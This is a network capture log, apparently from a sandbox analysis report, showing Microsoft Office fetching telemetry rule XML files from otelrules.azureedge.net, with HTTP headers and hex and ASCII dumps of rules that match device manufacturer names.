2024-10-29 17:42:26 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 338c7fbe-d01e-0028-7d3c-287896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174226Z-15b8d89586fnsf5zkvx8tfb0zc0000000210000000007kna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:26 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174226Z-16849878b78fkwcjkpn19c5dsn00000005x000000000aubr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:26 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:26 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174226Z-16849878b78sx229w7g7at4nkg000000055g000000005s19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:26 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:26 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ef4969e5-401e-002a-2c3c-28c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174226Z-15b8d89586fst84kttks1s2css00000000eg000000005023 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:26 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:27 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:27 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 66384a0c-801e-002a-112b-2631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174227Z-15b8d89586ffsjj9qb0gmb1stn0000000b0000000000f423 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:27 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:27 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:27 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: d73e8916-101e-008d-6973-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174227Z-17c5cb586f6wnfhvhw6gvetfh4000000069g00000000cban x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:27 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174227Z-17c5cb586f6w4mfs5xcmnrny6n00000008rg000000003n61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:27 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174227Z-16849878b78z2wx67pvzz63kdg00000005c000000000twc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:27 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174227Z-16849878b782d4lwcu6h6gmxnw00000006dg00000000wd4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:28 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:28 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174228Z-16849878b78nx5sne3fztmu6xc00000007wg0000000069mn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:28 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:28 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174228Z-16849878b787bfsh7zgp804my400000005k000000000sr10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:28 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: c9fe3c14-601e-0050-50d7-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174228Z-16849878b78sx229w7g7at4nkg000000055g000000005s5z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR 